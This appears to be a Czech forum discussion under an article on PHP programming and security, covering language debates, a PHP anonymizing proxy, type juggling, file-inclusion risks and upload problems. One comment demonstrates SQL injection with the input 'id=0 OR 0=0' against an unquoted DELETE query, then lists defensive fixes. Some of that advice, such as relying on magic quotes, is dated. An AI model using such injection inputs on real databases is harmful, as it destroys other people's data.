Kdyz vidim navrhy dnesnich "programatoru" v (nejen) PHP, tak jen ziram jak hluboka musi byt jejich neznalost/zabednenost, kdyz se pak biji do prsou nad RADOVE zanedbatelnymi optimalizacemi oproti pasece natropene spatnou dekompozici problemu a algoritmizaci.
Ale o tom to je, né?
Za tohle nechť děkujeme Billovi Gatesovi, svaté Emerice a dalším, kteří pomohli vohnoutům k penězům za nicnedělání a navíc ještě bez vzdělání a alspoň minimálních znalostí!
Jojo, díky wérdu, otlaku a póvlpojntu je teď holt každej programátor v nesmyslech jménem Java, PHP a v dalších "technologických výstřelcích".
Hlavně, že si můžeme proprietární D/A A/D převodníky s výstupem na monitor či ethernetový kabel patentovat! Já přehrával moduly přes Covox na dvou paralelních portech a péro jsem si z toho nehonil jako nVidia ze svých pokrokových technologií, které pro mě spíš znamenají dva kroky zpět než alespoň jeden dopředu. Slovo technologie již neznamená něco užitečného s puncem lidské práce, ale emerickou reklamní konzumní sračku!
P.S.: Omlouvám se všem, kterých jsem se dotknul.
SOUHLAS! btw, na Covox si taky dobre pamatuju :)
Ono jinak se clovek nauci programovat kdyz zacina na 286ce a aby mu veci fungovaly jak je treba, musi se ucit novy a novy algoritmy, postupy, PREMEJSLET, vymejslet triky, inovovat a /nizkourovnove/ setrit s kazdym bajtikem pameti a ve smyckach tikem procesoru - a jinak kdyz zacina treba v Eclipse s Javou na 2GHz poci, vykrada luxusni open source knihovny a programovani je pro nej naklikani GUI a vygenerovani obsluh udalosti. Cista prace. To pak vidite screensavery kde se sprity vykreslujou "putpixlem", konstanty jsou hardcoded, kodu se o modularite ani nezda a od poloviny vyvoje projektu se nikdo novej nemuze pribrat, protoze to je jeden velkej provazanej hack, kterej ma nekdo/par lidi chvili v hlave. :) Jako programator clovek uz musi myslet a to neprijde samo.
Nastesti jste uplne mimo.
Money talks, a pokud se da aplikace udelat za pul roku (Java/PHP) a splnuje zakaznikovi pozadavky je naprosta blbost ji psat pet let v ASM.
Jenom doufam, ze dnesni zbytecne komplikovane jazyky jako C#, Java a podobne, kde clovek travi naprosto zbytecne spoustu dni nad editorem, ASAP zmizi a zustane po nich jenom smrad a objektove orientovany navrh, a (pro me velmi otupujici a skoro ponizujici, jako pro pana tvorstva) koderina zustane na generatorech kodu. Jenom pani programatori, majici na to bunky budou psat zakladni veci/OS v nizkourovnovych jazycich.
Nejaky naznaky tohoto trendu uz jsou videt, ale jde to na muj vkus moc pomalu.
No ale ani v mem svete bych nepoustel patlaly s jednou priruckou o SQL k vyvoji SW - SW development ma sve, pomerne striktne definovane, zasady, principy a postupy, ktere bohuzel nejsou dodrzovany - v tom s Vami souhlasim. Ale rikat neco o tom, ze by bylo dobre se vratit k ASM? Ale jdete, tihle patlalove by se ve velke mire naucili ASM a delali by v ASM stejne chyby (=aplikovali by stejne spatne postupy) jako v PHP.
ASM je nádherný jazyk, kde lze opravdu nahodit obrovské množství chyb a dokáže se ho naučit každý. V ASM je, bylo a bude hodně patlalů, stačí se dneska podívat na zařízení co se prodávají v obchodech, někdy škoda dívat se, kdo to programoval.
Java je dobrý jazyk v tom, že si v něm patlal ani neškrtne :-), proto má lepší pověst než PHP. U PHP bych ocenil jednu věc, nějakou direktretivu STRIKT, která by zakázala globální proměnné, atd.
Souhlasim. Mozna existuji jazyky, ve kterych nejde psat dobre (cobol ?), ale URCITE neexistuji jazyky, ve kterych by neslo psat spatne.
Jinak napsat PROGRAM v assembleru je nesmysl. V assembleru se ma napsat jenom ta funkce, co obsahuje nebo je volana uvnitr 4 forcyklu (napriklad funkce zkopiruj_sprite_do_videopameti), okolo muze byt klidne C nebo i PHP, a pokud je to GUI, tak se ani nemusi psat rucne, pokud nekdo napise rozumny generator kodu ... (generator kodu na neco jineho nez GUI snad ani neexistuje ...).
Kod toho skriptu nahodou dostupnej je, tak ho mistni PHP exprti muzou rovnou roznest na kopytech. ;o) Je to horkou jehlou, za par minut. Ty komentare jsem vam tam ted snad pridaval i dyl. :) Aspon si ho zajemci budou moct zprovoznit/akcelerovat na localhostu. Kdo to zkusi, tak budu rad treba za malou e-noticku o tom, ze moje decko preziva i jinde! :)) Nashle.
Pokud by jsi chtel komplet PHP proxy, tak jsem si takovou malou/sviznou tridu napsal. Myslim, ze je to docela prehledne. Vychazi to z nejake phpproxy ze sf.net, ale je to prakticky komplet prepsane.
Ukolem bylo anonymizovani cilove URL. Takze jste cloveku dal encipherovany (s "CRC" checkem) odkaz, ten se predal one proxy.php jako parametr a (s moznosti i vyzadovat heslo) uz se brouwsilo, aniz by dotycny vedel, na jakem serveru se to co vidi vlastne nachazi. Proxyna on-the-fly preklada vsechny relevantni odkazy (i v javascriptu, obrazky, css...) na sebe samu, takze ze stranky, kterou prohlizite proste nijak zjistit puvodni server nejde.
Tohle "maskovani" jde samozrejme vypnout a pak to funguje jako normalni proxyna, takze se browsi neci stranky, ale v logu ma ten apache jen adresy hostingu, kam si clovek onu proxynu uploadnul. Je to jeden soubor.
Doresil jsem i veci jako wget -m nebo podobne stahovace, aby obrazky ulozily pod jejich pravymi jmeny a ne pod translatovanymi nazvy typu:
orig: <img src="ahoj.jpg">
trans: <img src="px.php?url=76893724hg4tr3gh1f32416">
A take osetreni hlavicek vcetne upravy Content-Length (jelikoz proparsovany/substituovany soubor je vetsi nez hlavicka udava a napr. gecko by vyrendrovalo jen jeho cast) je hotove.
Kdybys mel zajem si to pokuchat a neco z toho vytahnout/inspirovat se, tak mailni. Rad ti to poslu. Ahoj!
--
$cislo = (int) $_GET['cislo'];
if($cislo == 'ahoj'){
echo 'ok';
}
I když je to zdánlivě nelogické, skript vypíše text "ok", protože řetězec 'ahoj' se před porovnáním přetypuje také na číslo, tedy 0 == 0, a to platí.
==
skript vypise ok jenom kdyz $_GET['cislo'] nebude zacinat nenulovym cislem
napr: skript?cislo=0021lala ok nevypisuje
Todle je PHP pro experty ? sam se citim expertem a vsechno uvedene znam a resim (mysql vlastni knihovnou)... jinak nevim jestli nekdo v diskuzi objevil tu chybu neosetreneho vstupu:
isset($_GET['promenna'])
autor nejspis nema zapnute notices || nezkousel skript bez zadani promenne
DANiEL
No původně jsem zvažoval napsat PHP profesionálně, je docela těžké to zařadit.
BTW NOTICE není problém, to jen upozorňuje na možné problémy, člověk to může brát v potaz a nemusí. BTW NOTICE zapínám jen když testuji finální produkt, když všechno naprogramuji, zapnu hlášky a testuji a hledám, jestli jsou důležité
NOTICE je skvele proti preklepum
$promenna = "hodnota";
if ($promena == "hodnota")
//nebo
if (promenna == "hodnota")
tohle bez NOTICE normalne projde a jsou to chyby ktere se slozite hledaji. Ted uz vse pisi s NOTICE je to par isset() a nulovani promennych navic ale vyplati se to.
Pokud mne paměť neklame, shadow passwords se začaly hromadně používat někdy kolem roku 1995. Pokud autor používá na serveru tak starou instalaci a dosud se nerozhoupal ani k přechodu na shadow passwords, považoval bych to samo za bezpečnostní chybu takového kalibru, že popsaný problém se skriptem je proti tomu zanedbatelná lapálie. Pokud ne, tak v /etc/passwd žádná hesla nenajde.
Tím nechci říci, že include souboru, jehož jméno dostanu z parametru, není hrubá bezpečnostní chyba. Chci tím autora upozornit, že než opíše nesmysl, který se v článcích cituje stále dokola, měl by se aspoň podívat, jestli je na něm něco pravdy... Jinak se zařadí do zástupu těch, kdo v dobré víře balamutí veřejnost.
To neni opisovany nesmysl, ale proste zabehnuty ekvivalent napr. US oznaceni nezname osoby jako "John Doe". Navic to ma tu vyhodu, ze se jedna o soubor s jasne definovanym umistenim, tedy vetsinou existujici a s rozpoznatelnym formatem a pri prakticke ukazce onech ruznych "exploitu" se vypise jako dukaz funkcnosti. Nic vic.
Pochybuji, ze nekdo jiny krome vas v tom vidi realny attack vector. Je to proste jen priklad. Co by se u takove chyby (cteni libovolneho souboru) melo uvadet podle vas, /etc/issue? :))
Zkuste si vybrat neco jineho na rejpani.
Autor měl po pravdě napsat: útočník může takto zobrazit obsah libovolného souboru, ke kterému má uživatel, pod nímž běží skript, právo čtení. To by byla naprostá pravda a bylo by to samo o sobě alarmující. Mohl také napsat, že útočník může získat seznam uživatelských jmen a třeba i umístění jejich domácích adresářů a defaultní shelly. Sice bychom se mohli hádat o to, jestli je to opravdu takový bezpečnostní problém, ale pořád by to byla pravda. Napsat, že zobrazením /etc/password útočník získá hesla uživatelů, je sice efektní, ale je to buď projev základní neznalosti (pokud autor neví, že tam dávno žádná hesla nejsou) nebo lež (pokud to ví). Abych řekl pravdu, nejsem si úplně jistý, která z možností je vlastně horší.
Domníval jsem se, že Root není Blesk nebo Nova, aby bylo nutno pro zvýšení zájmu čtenářů informace přibarvovat bez ohledu na jejich pravdivost.
Clanek se mi libi,ale kdyz se tady rozbehla velika diskuze s odbornuky pres PHP, rad bych se zeptal na dle meho nazoru nekorektni chovani PHP + APACHE. Mam zkusenost ze pokud do PHP zadate HTML kod hlavicky v niz se nacitaji treba CSS styly napr. "<link rel="stylesheet" type="text/css" href="/root_black.css">" nebo meta tag kodove stranky napr."<meta http-equiv="Content-type" CONTENT="text/html; charset=iso-8859-2">", tak php script se provede 2x po sobe, vetsinou si toho ani nevsimnete funguje to tak, ze prvni vystup scriptu je nejspis zahozen a vam se v prohlizeci objevi vysledek az druheho projiti scriptu. Jednoduse to vyskousite tak, ze do tela scriptu vlozite nejaky citac. Mozna je to nejakym nastavenim v php.ini (zda se ze na root.cz s tim problem nemaji. Zajimalo by mne zdali ma nekdo podobnou zkusenost.
"Jejich výhoda tkví v naprosté univerzálnosti použití pro ošetření libovolného vstupu". Jen pro upřesnění, aby nás tu autor článku nemystifikoval. Regulární výrazy se OPRAVDU nedají použít pro ošetření libovolného vstupu. Možná bych autorovi doporučoval přečíst si něco o gramatikách a rekurzy, než se začne pouštět do těchto matoucích tvrzeních.
jak tady autor vyzdvihuje jak je moc spatne pouzivat dvojite uvozovky. Zrychleni v bezne aplikaci je natolik nepodstatne oproti mnohem casove slozitejsim castem jako je pristup a prace z databazi, prace se soubory apod. Myslim si, ze nikdo nemuze byt peskovan za pouzivani dvojitych uvozovek. priznavam, ze pokud by existoval skript(a to se asi bezne opravdu nestava), kde by bylo vice jak tisic pouziti asocivaneho pole v tomto kontextu, tak by se to asi projevilo.
Zdravim,
omlouvam se za tema mimo pusobnost clanku, ale kdyz uz tu psalo par lidi co 'rozumi' phpku, zeptam se (hledani na inetu neprineslo moc ovoce).
Potrebuju v aplikaci(skriptu) pouzivat sitovy zdroj se souborama (unc cestu \\server\share), ale nejsem schopen ji v php nacist. Kdyz dam lokalni cestu tak to jede OK. Pouzivam IIS na w2ks serveru (zaplacnuto iis lockdownem+sec. patche) (jen at nikdo nepise at nainstaluju apache, tyhle reci nechci slyset, neni to mozne kvuli jinym aplikacim co jedou pres ISAPI). V IIS jsem zkousel vypnout volbu overovani serverem IIS v anonymnim overovani, ale bez efektu.
Druhy problem je, nedokazu na ten IIS uploadnout soubor (POST, klasicky input type=file...), velikost souboru jsem zvedl na 10mega, at zadam cokoliv do vstupu, tak data tlaci prohlizec na server, ale tam se nakonec nic neulozi. Zkousel jsem poruznu i menit path pro upload v php a efekt stejny.
Diky za pripadne nakopnuti spravnym smerem :)
P.
ad UNC: zkus
fopen("//server/share")
nebo fopen("\\\\server\\share"),
pripadne exec("net use x: \\\\server\\share"); fopen("x:/..."); exec("net use x: /delete"); (muzes zmenit " na ' :-)).
ad ISAPI: AFAIK to umi i apache2/win32 ;-)
ad file upload:
prepis si nejakej priklad z manualu/neco_co_chodi_jinde a zjistis, jestli je chyba ve spolupraci php&iis nebo ve tvem skriptu.
jinak na dotzay o php v cs doporucuju treba wz.cz/forum, sekce php.
Pokud me je zname tak sql injection se dela takto:
mysql_query("DELETE FROM xxx WHERE id=$id"); // tady neni promena id v uvozovkach takze se da:
script.php?id=0 OR 0=0
a ten OR se postara o to ze to smaze vse
reseni je nekolik a to
1. mysql_query('DELTE FROM xxx WHERE id='.intval(id)); /// toto se mi zda efektivnejsi, protoze MySQL pak NIKDY nerve kdyz WHERuju promenou typu int s stringem.
2. gpc_magick_quotes=on a mysql_query("DELETE FROM xxx WHERE id=\"$id\"");
3. ci rucni escapovani
osobne na to pouzivam funkci pri nacitani vstupnich dat a vypinam ini_setem nebo .htaccessem register_globals, pak mam jistotu ze me nikdo nezmeni nic co nechci.
function input_num($var) {
if (!is_numeric($_REQUEST[$var])) {
die('Vstupni promena $var musi byt cislo!');
}
return $_REQUEST[$var];
}
$a=input_num('a');
stejne funkce mam treba i na checkboxy, a tim se mi automaticky overi i jestli se nekdo nepokousi podstrcit blby data
Nerad plýtvám prostorem, což by obecně neměl programátor dělat. Jestliže tedy vyžaduji od člověka na stránkách nějaké informace, zkontroluji si je velice důkladně vlastními funkcemi. V dnešní době přece již nejde o rychlost, jestliže máme výkonné servery a relativně rychlé připojení. V případě špatné konstrukce uživatele upozorním, kde se stala chyba (jestliže to není jeho chyba tak bla bla bla...). Jsem tedy pro řešení udělat aplikaci funkční, která nemá bezpečnostní chyby.
Po důkladném odzkoušení ji pustit naostro, potom ji vyladit tak, aby byla co nejrychlejší.
Pro psaní byste si měli uvědomit, že zdrojový kód skriptu je vaše autorské dílo (pokud ho neposkytujete v rámci GPL ap.), takže jeho zveřejnění by bylo katastrofou. Samozřejmě když mám nějaký soubor (hlavičky, funkce...) tak nekontroluji, zda existuje. To by byl ten kód opravdu nepořádný. Proto já osobně (samozřejmě se nezabývám projekty s mnoha lidmi) užívám vlastní funkce jako: over_mail(); posli_dopis(); kde většinou ani nemusím zadávat parametry, protože používám sessions, které načtu funkcí $kod=akt_session(); Proto bych velice rád (stejně jako většina ostatních uživatelů) uvítal jako pokračování Sessions.
Zdravím, nevěděl by někdo, jak ošetřit zákaz přímého přístupu k vkládaným souborům? Např. v jednom souboru chci pomocí include vložit soubor se skriptem. Problém může vzniknout, pokud takový soubor je spuštěn samostatně.
Jak se tyto případy řeší? Jaké správné přípony mají mít? php ?, inc?
Dík